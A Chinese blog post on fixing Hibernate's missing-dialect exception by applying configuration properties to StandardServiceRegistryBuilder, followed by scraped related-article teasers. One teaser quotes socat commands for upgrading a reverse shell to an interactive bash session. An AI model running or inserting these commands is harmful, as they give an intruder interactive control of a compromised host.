[Hibernate]Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' not set
使用Hibernate官方文档上的下面代码进行測试时报出这个异常。
org.hibernate.HibernateException: Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' not set
package org.hibernate.tutorial.util; import org.hibernate.SessionFactory;
import org.hibernate.boot.registry.StandardServiceRegistryBuilder;
import org.hibernate.cfg.Configuration; public class HibernateUtil { private static final SessionFactory sessionFactory = buildSessionFactory(); private static SessionFactory buildSessionFactory() {
try {
// Create the SessionFactory from hibernate.cfg.xml
new Configuration().configure().buildSessionFactory(
new StandardServiceRegistryBuilder().build() );
}
catch (Throwable ex) {
// Make sure you log the exception, as it might be swallowed
System.err.println("Initial SessionFactory creation failed." + ex);
throw new ExceptionInInitializerError(ex);
}
} public static SessionFactory getSessionFactory() {
return sessionFactory;
} }
后来改动成旧版本号的例如以下代码异常消失:
Configuration cfg = new Configuration();
SessionFactory sf = cfg.configure().buildSessionFactory();
Session session = sf.openSession();
可是无參的buildSessionFactory方法在新版本号中已经不推荐使用了,最后找到了解决的方法:
Configuration cfg = new Configuration().configure();
sessionFactory = cfg.buildSessionFactory(new StandardServiceRegistryBuilder().applySettings(cfg.getProperties()).build());
亲測不会再出现这个异常了。
[Hibernate]Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' not set的更多相关文章
- 【方言】Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' not set
Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' not set 几种 方言配置差异 <?xml v ...
- 【Hibernate】Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' not set
今天用hibernate框架写crm项目时遇到报错: Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' n ...
- org.hibernate.PropertyValueException: not-null property references a null or transient value:
org.hibernate.PropertyValueException: not-null property references a null or transient value: com.bj ...
- org.hibernate.PropertyValueException: not-null property references a null or transient value: model.
今天在写一个SSH整合的项目时,首先将数据库操作部分单独分离出来,写完后使用Junit进行測试,经过測试.发现没有不论什么问题,对数据库中的内容进行增删改查没有问题,可是将他整合到SSH的项目中时,报 ...
- [原创]java WEB学习笔记77:Hibernate学习之路---Hibernate 版本 helloword 与 解析,.环境搭建,hibernate.cfg.xml文件及参数说明,持久化类,对象-关系映射文件.hbm.xml,Hibernate API (Configuration 类,SessionFactory 接口,Session 接口,Transaction(事务))
本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...
- Hibernate注解映射sequence时出现无序增长问题+hibernate 映射 oracle ID自动增长:
Hibernate注解映射sequence时出现无序增长问题+hibernate 映射 oracle ID自动增长: 通过Hibernate注解的方式映射oracel数据库的sequence主键生成器 ...
- hibernate出现 org.hibernate.PropertyNotFoundException: field [departmen] not found on cn.itcast.hibernate.domain.Employee1错误
hibernate出现 org.hibernate.PropertyNotFoundException: field [departmen] not found on cn.itcast.hibern ...
- hibernate添加数据,默认字段为null的问题解决
数据库中的一个字段默认为0,但是在用hibernate的添加之后,默认字段竟然不是0,为NULL. 查了一下.发现想要让默认字段生效.需要在*.hbm.xml添加一些参数,如下.(红色部分) dyna ...
- Hibernate JPA 动态criteria语句针对null查询条件的特殊处理
最近原Hibernate项目需要添加一个条件,结构有点类似下面的格式,学生和房间是多对一的关系,现在要查询所有没有房间的学生. Class Student{ @ManyToOne Room room; ...
随机推荐
- 利用反射api查找一个类的具体信息
讲到这个实例,首先介绍下本人,我是一个php程序猿.从事drupal开发2年多.能够说从实习開始就接触这个,至今没有换过.drupal给我的感觉是俩字"强大",今天写一个views ...
- Toast分析——实现自己的Toast
android 4.0以后,新增了一个功能:关闭某个应用发出的通知.Toast等.详细操作为:打开应用安装列表.找到要屏蔽的应用(长按通知,点击弹出的"应用信息",就可以跳到应用信 ...
- Hadoop 三剑客之 —— 分布式文件存储系统 HDFS
一.介绍 二.HDFS 设计原理 2.1 HDFS 架构 2.2 文件系统命名空间 2.3 数据复制 2.4 数据复制的实现原理 2.5 副本的选择 2 ...
- 反向Shell增强
下载socat 在客户端: socat file:`tty`,raw,echo=0 tcp-listen:4444 在服务端: socat exec:'bash -li',pty,stderr,set ...
- ROS-单目摄像头标定
前言:由于摄像图内部与外部的原因,生成的图像往往会发生畸变,为了避免数据源造成的误差,需要针对摄像头的参数进行标定. ros官方提供了camera_calibration软件包进行摄像头标定. 一.安 ...
- struts2学习之基础笔记6
第十一章 Struts 2的国际化 1 国际化简介 http协议,request_locale值 Locale类àà封装类request_locale值 ResourcesBandleàà ...
- C语言文件操作函数之ferror & feof & clearerr
这些函数都是和文件读写时发生错误有关,下面一一分析: 1:ferror 原型:int ferror(FILE * fp) 作用:测试一个文件流是否被设置了错误标识符,如果是返回非 0 整数,否则返回 ...
- Hibernate框架学习(四)——事务
一.回顾事务的概念http://www.cnblogs.com/cxq1126/p/8313600.html 1.特性ACID:原子性.一致性.隔离性.持久性 2.并发问题:脏读.不可重复读.幻|虚读 ...
- 通过obs进行推流
我们除了通过ffmpeg进行推流外还可以使用OBS这个软件进行推流, 界面化工具,配置起来也方便 obs下载地址 obs的基本配置使用教程 这里需要注意的是在填写推流地址URL 的时候 有一个流秘钥 ...
- sklearn学习9----LDA(discriminat_analysis)
1.导入模块 http://scikit-learn.org/stable/modules/generated/sklearn.discriminant_analysis.LinearDiscrimi ...